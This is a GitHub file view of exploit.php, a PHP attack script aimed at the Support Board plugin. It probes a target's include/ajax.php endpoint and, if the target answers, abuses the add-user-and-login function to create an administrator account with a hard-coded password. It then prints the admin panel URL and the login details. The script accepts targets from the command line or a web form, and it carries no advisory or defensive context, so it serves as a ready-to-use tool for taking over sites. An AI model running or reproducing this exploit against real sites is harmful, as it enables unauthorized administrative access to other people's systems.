-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.php
63 lines (57 loc) · 2.14 KB
/
exploit.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
class Exploit
{
private $exp = "/supportboard/supportboard/include/ajax.php";
public $target;
public function generateRandomString($length = 10)
{
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
public function InterfaceExploit()
{
if (php_sapi_name() == 'cli') {
$this->GetTarget($this->target = readline("Targets : "));
} else {
$this->GetTarget(htmlspecialchars($_POST['t']));
}
}
public function runExploit($email)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $this->target . $this->exp);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "function=add-user-and-login&settings[email][email protected]&settings[profile_image]=ecchi&settings[user_type]=admin&settings[first_name]=ecchiexploit&settings[password]=ecchi");
// curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
return curl_exec($ch);
curl_close($ch);
}
public function CheckTargets()
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $this->target . $this->exp);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
return curl_exec($ch);
curl_close($ch);
}
public function GetTarget($get)
{
$this->target = $get;
$email = $this->generateRandomString();
if (preg_match("/true/", $this->CheckTargets()) === 1) {
$this->runExploit($email);
echo "Success : $this->target/supportboard/supportboard/admin.php" . PHP_EOL;
echo "Email : [email protected]" . PHP_EOL;
echo "Password : ecchi";
} else {
echo "Not Vuln";
}
}
}